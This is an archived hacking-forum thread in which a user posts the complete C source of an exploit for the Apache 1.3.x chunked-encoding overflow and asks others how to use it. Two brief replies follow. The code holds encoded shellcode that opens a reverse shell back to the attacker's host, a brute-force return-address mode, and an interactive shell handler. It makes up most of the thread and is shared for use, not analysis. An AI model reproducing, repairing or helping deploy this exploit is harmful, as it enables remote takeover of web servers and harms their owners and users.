hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

poerkel
I searched this, but couldnīt find anything, so hereīs my post wink.gif

I got some problems with this exploit;
it looks really good, but iīm not sure how to use it.

It compiles with Dev-C++ after adding some libs manually (at least i think, cause the exe seems to be useless sad.gif ), but really canīt figure out how to use it.
Can someone else??

( I know that itīs "old" ...)

THX and Gr33tZ

poerk

CODE
/*
* Apache-Slasher.c
* Apache 1.3.2-1.3.24 Chunked Encoding Exploit
*
* Older versions of Apache (prior to 1.3.26) have a serious flaw
* in a portion of code that handles HTTP post requests.  The flaw
* is related to a comparison of two signed integers when processing
* HTTP/1.1 chunked encoding.  A chunk typically has the following
* form:
*
* <size>
* <data>
*
* Where 'size' is in hexadecimal, so:
*
* 10
* 1234567890123456
*
* is a valid chunk.  Apache's ap_discard_request_body() API call uses
* a static stack-based buffer for reading request body "blocks" of
* 8190 bytes.  This routine calls ap_get_client_block(), which does
* not correctly account for the sign bit being enabled by a given
* chunk size.  That is, the comparison:
*
* len_to_read = (r->remaining > bufsiz ? bufsiz : r->remaining)
*
* does not account for the possibility that r->remaining (a value taken
* from the chunk header) is negative (0x80000000-0xFFFFFFFF).
*
* The resulting call to ap_bread() contains a second error, in that it
* ignores the sign bit when calling memcpy(), which results in a large
* copy operation that exceeds the bounds of the buffer.  It is somewhat
* limiting, in that it restricts the attacker to the unread bytes of
* the chunk header.  However, these bytes can be anything, as the calls
* to ap_bgetc() stop when ap_isxdigit() returns FALSE, rather than when
* the first newline is received.
*
* Some third-party handlers call ap_discard_request_body() when handling
* GET requests, as there is usually no purpose for an entity body.  If
* a handler returns an error, or no handler is available, the request is
* handed off as a sub-request to mod_include, which calls the function.
* This makes a default Apache 1.3.x install vulnerable, even if there
* are no scripts offered.
*
* How the exploit works is fairly simple.  The attack code sends a GET
* request that should cause an ap_discard_request_body() call.  This will
* trigger a stack overflow inside ap_bread(), due to incorrect arithmatic
* in ap_get_client_block().  The resulting memcpy() call that actually
* causes the overflow does not return, as it attempts to copy anywhere
* from 2 to 4 gigabytes of data into a stack frame that is only a few
* megabytes in length.  When the memcpy() call exceeds the bounds of the
* stack, an access violation (exception 0xC0000005) occurs.
*
* You would expect the resulting SEH sequence to terminate the application,
* but it does not.  While Apache itself does not establish SEH frames, the
* kernel32.dll library *does* for every thread when it is created.  The
* irritating application error dialog boxes are actually triggered from
* inside this SEH frame.  The corruption of this frame causes execution to
* jump to an attacker-supplied payload -- the shellcode.  The code is in
* the HTTP headers submitted along with the request -- these are in a
* heap-based buffer allocated following the I/O buffers used by Apache.
*
* The code used here is a simple TCP reverse shell over port 1285, which
* (unfortunately) doesn't work with Windows 9x/Me.  This is the only real
* drawback of this code, with the exception of stringent firewalling.
* Several people have claimed to have Win32-based exploits for this flaw,
but
* none (working) have appeared to this date.  The exploitation of this flaw
* in a global manner (i.e, not OS-specific) is difficult, but (as this code
* demonstrates), not impossible.
*
* Address determination for your particular Apache should not be difficult,
* as I believe that this combination of headers/return addresses will be
* fairly constant, barring major differences in the CRT heap
implementation.
* However, there is a mode for brute-force if desired.
*
* As for compilation: MSVC/Win32 is guaranteed to compile and run.  This
* should work on other Win32 compilers, provided they include definitions
* for wsock32.dll or ws2_32.dll.
*
* An average POSIX-compliant UNIX should be sufficient.  As long as the
* BSD socket interface is available, with select() and the FIONREAD
* ioctl command.
*
* This exploit works perfectly with Windows Server 2003, even though it
didn't
* exist when development began.
*
* <Humor>
* And today's quotes of the day are...
* "Yo Steven!  I think I found something ACCURATE in the ISS Advisory on
* Apache!  At least they got the part about Win32 right -- too bad it's
* like 10 users, eh?"
*
* "Anybody here subscribed to X-Force's stuff?  You wouldn't happen to
* know when their next honeypot goes up yet, would you?  I never got to
* test out my phf exploit."
*
* Trick Question Trivia
*
* Q: How do you tell a secure box at ISS from a honeypot at ISS?
* A: EASY!  The former type does not exist!  ISS employees are all
*    trained in honeypots, remember?
* </Humor>
*
* Contact:
* Matthew Murphy
* E-mail: mattmurphy@kc.rr.com
* AIM: NetAddict4109
* Web: http://techie.hopto.org/
*
* Steven Fruchter
* E-mail: steven_fruchter@hotmail.com
*/

#ifdef _WIN32
#define _MT
#include <winsock.h>
#include <process.h>
#ifdef _DEBUG
#pragma comment(linker, "/NODEFAULTLIB:libcd.lib")
#pragma comment(linker, "/NODEFAULTLIB:msvcrtd.lib")
#pragma comment(lib, "libcmtd.lib")
#else
#pragma comment(linker, "/NODEFAULTLIB:libc.lib")
#pragma comment(linker, "/NODEFAULTLIB:msvcrt.lib")
#pragma comment(lib, "libcmt.lib")
#endif
#pragma check_stack(off)
#pragma comment(lib, "wsock32.lib")
#else
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#endif
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <ctype.h>

struct target {
char *name;
int retaddr;
};

static struct target victims[] = {
{
 "Windows XP SP1",
 0x03B61101
}
};

#if (__BRUTE_STRONG__)    /* Aggressive brute-force defaults */
#define BRUTE_START  0x01010101
#define BRUTE_STOP  0x80010101
#elif (__BRUTE_TIMELY__)   /* Less-aggressive brute-force */
#define BRUTE_START  0x01010101
#define BRUTE_STOP  0x40010101
#else        /* Least aggressive brute-force */
#define BRUTE_START  0x03010101
#define BRUTE_STOP  0x10010101
#endif

#define REP_RETADDR  2045  /* How many times to repeat retaddr */
#define NOP_OPCODE  0x41  /* Opcode to use for NOP (one byte) */
#define SHELL_TIMEOUT 1   /* How many seconds to wait for reverse shell */

char sc[359] =
"\xEB\x08\x90\x90\x90\xEB\x08\x90\x90\x90\xE8\xF6\xFF\xFF\xFF\x5D"
"\x83\xED\xEA\x90\x90\x90\x33\xC9\x81\xE9\xC2\xFE\xFF\xFF\x80\x75"
"\x00\x80\x45\xE2\xF9\x64\x67\x8B\x1E\x30\x00\x0B\xDB\x74\x13\x90"
"\x90\x90\x90\x8B\x5B\x0C\x8B\x73\x1C\xAD\x8B\x58\x08\xEB\x0C\x90"
"\x90\x90\x8B\x5B\x34\x8B\x9B\xB8\x00\x00\x00\x8B\x43\x3C\x8B\x44"
"\x18\x78\x33\xFF\x4F\x47\x8B\x4C\x18\x20\x03\xCB\x8B\x0C\xB9\x81"
"\x3C\x19\x47\x65\x74\x50\x75\xED\x81\x7C\x19\x04\x72\x6F\x63\x41"
"\x75\xE3\xD1\xE7\x03\x7C\x18\x24\x0F\xB7\x3C\x1F\xC1\xE7\x02\x03"
"\x7C\x18\x1C\x8B\x3C\x3B\x03\xFB\xE8\x0D\x00\x00\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x53\xFF\xD7\xE8\x07\x00"
"\x00\x00\x77\x73\x32\x5F\x33\x32\x00\xFF\xD0\x8B\xF0\x6A\x00\x6A"
"\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xE8\x0B\x00\x00\x00\x57\x53"
"\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x56\xFF\xD7\xFF\xD0\x83\xEC"
"\x08\x8B\x4D\x00\x83\xF1\xFF\x51\x68\x02\x00\x05\x05\x8B\xCC\x6A"
"\x10\x51\x50\xE8\x08\x00\x00\x00\x63\x6F\x6E\x6E\x65\x63\x74\x00"
"\x56\x8B\xF0\xFF\xD7\xFF\xD0\x83\xEC\x54\x8B\xD4\x8B\xC4\xB9\x11"
"\x00\x00\x00\xC7\x00\x00\x00\x00\x00\x83\xC0\x04\xE2\xF5\xC7\x02"
"\x44\x00\x00\x00\xC7\x42\x2C\x01\x01\x00\x00\x89\x72\x38\x89\x72"
"\x3C\x89\x72\x40\x8D\x42\x44\x50\x52\x6A\x00\x6A\x00\x6A\x00\x6A"
"\x01\x6A\x00\x6A\x00\xE8\x04\x00\x00\x00\x63\x6D\x64\x00\x6A\x00"
"\xE8\x0F\x00\x00\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x53\xFF\xD7\xFF\xD0\x64\x67\xC7\x06\x00\x00\x00"
"\x00\x00\x00";

int time_begin;
int got_shell = 0;

void get_stdin_line(char *buffer) {
fgets(buffer, 256, stdin);
strtok(buffer, "\r\n");
return;
}

unsigned long try_shell(void *s) {
int seconds = 0;
int minutes = 0;
int hours = 0;
int days = 0;
unsigned long argp = 0;
struct fd_set fds_read;
char buffer[512];
int len;
int s2;
#ifdef _WIN32
INPUT_RECORD ir;
HANDLE hStdInput;
HANDLE hStdOutput;
DWORD rec;
#else
struct fd_set fds_read_spare;
int stdin_flag;
int sock_flag;
#endif
setvbuf(stdin, NULL, _IONBF, 0);
memset(&fds_read, 0, sizeof(struct fd_set));
FD_SET((int)s, &fds_read);
#ifdef _WIN32
hStdInput = GetStdHandle(STD_INPUT_HANDLE);
hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleMode(hStdInput,
ENABLE_LINE_INPUT|ENABLE_ECHO_INPUT|ENABLE_PROCESSED_INPUT);
#else
fcntl(0, F_SETFL, O_NONBLOCK);
#endif
s2 = accept((int)s, NULL, NULL);
if (s2 >= 0) {
 got_shell = 1;
 printf("\r\n");
 time_begin = time(NULL) - time_begin;
 seconds = time_begin % 60;
 time_begin -= seconds;
 time_begin /= 60;
 minutes = time_begin % 60;
 time_begin -= minutes;
 time_begin /= 60;
 hours = time_begin % 24;
 time_begin -= hours;
 time_begin /= 24;
 days = time_begin;
 printf("[Exploit completed in ");
 if (seconds) {
  if (minutes) {
   if (hours) {
    if (days) {
     printf("%d day%s, ", days, (days == 1 ? "" : "s"));
    }
    printf("%d hour%s, ", hours, (hours == 1 ? "" : "s"));
   }
   printf("%d minute%s, ", minutes, (minutes == 1 ? "" : "s"));
  }
  printf("%d second%s", seconds, (seconds == 1 ? "" : "s"));
 } else {
  printf("less than one second");
 }
 printf("]\r\n\r\n");
#ifndef _WIN32
 FD_SET(0, &fds_read_spare);
 FD_SET(s2, &fds_read_spare);
#endif
 while (1) {
#ifdef _WIN32
  rec = 0;
  ir.EventType = 0;
  PeekConsoleInput(hStdInput, &ir, 1, &rec);
  if (rec) {
   if (ir.EventType != KEY_EVENT) {
    ReadConsoleInput(hStdInput, &ir, 1, &rec);
   }
   ReadConsole(hStdInput, buffer, 512, &len, NULL);
   send(s2, buffer, len, 0);
   recv(s2, buffer, len, 0);
  }
  ioctlsocket(s2, FIONREAD, &len);
  if (len) {
   len = recv(s2, buffer, len, 0);
   WriteConsole(hStdOutput, buffer, len, &len, NULL);
  }
#else
  stdin_flag = 0;
  sock_flag = 0;
  memcpy(&fds_read, &fds_read_spare, sizeof(struct fd_set));
  len = select(1, &fds_read_spare, NULL, NULL, NULL);
  switch(len) {
  case 2:
   stdin_flag = 1;
   sock_flag = 1;
   break;
  case 1:
   if (FD_ISSET(0, &fds_read)) {
    stdin_flag = 1;
   } else {
    sock_flag = 1;
   }
   break;
  default:
   printf("Unexpected error: Couldn't wait for readable descriptors!");
   exit(-1);
  }
  if (stdin_flag) {
   len = read(0, buffer, 512);
   send(s2, buffer, len, 0);
   recv(s2, buffer, len, 0);
  }
  if (sock_flag) {
   len = recv(s2, buffer, 512, 0);
   write(0, buffer, len);
  }
#endif
 }
}
return 0;
}

int main(int argc, char *argv[]) {
int i;
char buffer[257] = "\0";
char hdrbuffer[8193];
struct hostent *he;
char pad;
int server;
int count;
int client;
struct sockaddr_in sa_in;
unsigned long addr;
unsigned short port;
int retaddr; /* Windows XP, Apache 1.3.24 */
int brute = 0;
int n;
#ifdef _WIN32
WSADATA wsa_prov;
if (WSAStartup(0x0101, &wsa_prov)) {
 printf("WSAStartup failed");
 return -1;
}
#else
int pid;
int status;
#endif
printf("Apache 1.3.x (Win32) Chunked Encoding Exploit\r\n");
printf("By Matthew Murphy (mattmurphy@kc.rr.com) and \r\n");
printf("Steven Fruchter (steven_fruchter@hotmail.com)\r\n\r\n");
for (i = 37; i < sizeof(sc) - 4; i++) {
 sc[i] = sc[i] ^ 0x80;
}
if (gethostname(buffer, 256)) {
 printf("gethostname failed, please enter hostname manually: ");
 get_stdin_line(buffer);
}
he = gethostbyname(buffer);
if (!he) {
 printf("Invalid local host name, please enter IP manually: ");
 get_stdin_line(buffer);
 addr = inet_addr(buffer);
} else {
 addr = *(unsigned long *)he->h_addr;
}
server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (server < 0) {
 printf("ERROR: Cannot create listener socket");
 return -1;
}
sa_in.sin_family = AF_INET;
sa_in.sin_port = htons(1285);
sa_in.sin_addr.s_addr = addr;
addr ^= 0xFFFFFFFF;
memcpy(&sc[355], &addr, sizeof(unsigned long));
if (bind(server, (const struct sockaddr *)&sa_in, sizeof(struct
sockaddr_in))) {
 printf("ERROR: Cannot bind to listener port");
 return -1;
}
if (listen(server, 256)) {
 printf("ERROR: Cannot listen to reverse shell port");
 return -1;
}
while (1) {
 printf("Target hostname: ");
 get_stdin_line(buffer);
 he = gethostbyname(buffer);
 if (he) {
  break;
 }
 printf("ERROR: Invalid hostname\r\n");
}
sa_in.sin_addr.s_addr = *(unsigned long *)he->h_addr;
printf("Target port: ");
buffer[0] = 0;
get_stdin_line(buffer);
if (!buffer[0]) {
 port = 80;
} else {
 port = (unsigned short)atoi(buffer);
}
printf("Use brute-force mode [Y/N]: ");
get_stdin_line(buffer);
if (buffer[0] == 'Y' || buffer[0] == 'y') {
 brute = 1;
 retaddr = BRUTE_START;
} else {
 printf("Targets\r\n");
 for (i = 0; i < sizeof(victims) / sizeof(struct target); i++) {
  printf("   %d\t%s\r\n", i+1, victims[i].name);
 }
 printf("   %d\tOther\r\n", i+1);
 get_stdin_line(buffer);
 sscanf(buffer, "%d", &i);
 i--;
 if (i >= sizeof(victims) / sizeof(struct target)) {
  printf("Enter return address: ");
  get_stdin_line(buffer);
  sscanf((const char *)(buffer[0] == '0' && (buffer[1] == 'x' || buffer[1]
== 'X' ? &buffer[2] : buffer)), "%x", &retaddr);
 } else {
  retaddr = victims[i].retaddr;
 }
}
printf("Request filename: ");
buffer[0] = 0;
get_stdin_line(buffer);
if (!buffer[0]) {
 strcpy(buffer, "/error/HTTP_NOT_FOUND.html.var");
}
memset(hdrbuffer, NOP_OPCODE, sizeof(hdrbuffer)-1);
hdrbuffer[sizeof(hdrbuffer)-1] = 0;
hdrbuffer[sizeof(hdrbuffer)-2] = 0x0A;
hdrbuffer[sizeof(hdrbuffer)-3] = 0x0D;
memcpy(&hdrbuffer[sizeof(hdrbuffer)-sizeof(sc)-3], sc, sizeof(sc));
strncpy(hdrbuffer, "X-AAA: ", 7);
sa_in.sin_port = htons(port);
time_begin = (int)time(NULL);
#ifdef _WIN32
_beginthread(&try_shell, 0, (void *)server);
#else
pid = (int)fork();
if (pid == -1) {
 printf("fork() failed");
 exit(-1);
} else if (pid) {
 try_shell((void *)server);
}
#endif
count = 0;
do {
 if (brute && (char)retaddr != 1) {
  printf("Return address 0x%.8X incorrect, ", retaddr);
  retaddr -= (char)retaddr;
  retaddr++;
 }
 if (!brute) {
  printf("Attempting return address 0x%.8X...\r\n", retaddr);
 }
 if (count == 20) {
  printf(".");
  count = 0;
 }
 client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (connect(client, (const struct sockaddr *)&sa_in, sizeof(struct
sockaddr_in))) {
  printf("connect() failed");
  return -1;
 }
 send(client, "GET ", 4, 0);
 send(client, buffer, strlen(buffer), 0);
 send(client, " HTTP/1.1\r\nHost: unknown\r\nTransfer-Encoding:
chunked\r\n", 54, 0);
 pad = 0x30;
 for (i = 0; i < 62; i++) {
  pad++;
  if (pad == 0x3A) {
   pad = 0x41;
  } else if (pad == 0x5B) {
   pad = 0x61;
  }
  hdrbuffer[4] = pad;
  send(client, hdrbuffer, sizeof(hdrbuffer)-1, 0);
 }
 send(client, "\r\nFFFFFFF0", 10, 0);
 for (n = 0; n < REP_RETADDR; n++) {
  send(client, (const char *)&retaddr, sizeof(retaddr), 0);
 }
 send(client, "\r\n", 2, 0);
 retaddr += 0x1000;
 if (brute) {
  if ((char)(retaddr >> 8) == 0 || (char)(retaddr >> 8) == 0x0D ||
(char)(retaddr >> 8) == 0x0A) {
   retaddr += 0x100;
  }
  if ((char)(retaddr >> 16) == 0 || (char)(retaddr >> 16) == 0x0D ||
(char)(retaddr >> 16) == 0x0A) {
   retaddr += 0x10000;
  }
  if ((char)(retaddr >> 24) == 0 || (char)(retaddr >> 24) == 0x0D ||
(char)(retaddr >> 24) == 0x0A) {
   retaddr += 0x1000000;
  }
 }
#ifdef _WIN32
 closesocket(client);
#else
 close(client);
#endif
count++;
} while ((brute ? retaddr < BRUTE_STOP && !got_shell : 0));
got_shell = 0;
#ifdef _WIN32
Sleep(5000);
if (got_shell) {
 Sleep(INFINITE);
}
WSACleanup();
#else
sleep(5);
if (!got_shell) {
 kill(pid, SIGTERM);
}
wait(&status);
#endif
return 0;
}
stonebreaker
i think this hole is old further more this exploit work for apache which is running
on freebsd
linuxwolf
stonebreaker, sorry to sound mean, please re type that post? i cant decipher it. :|
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.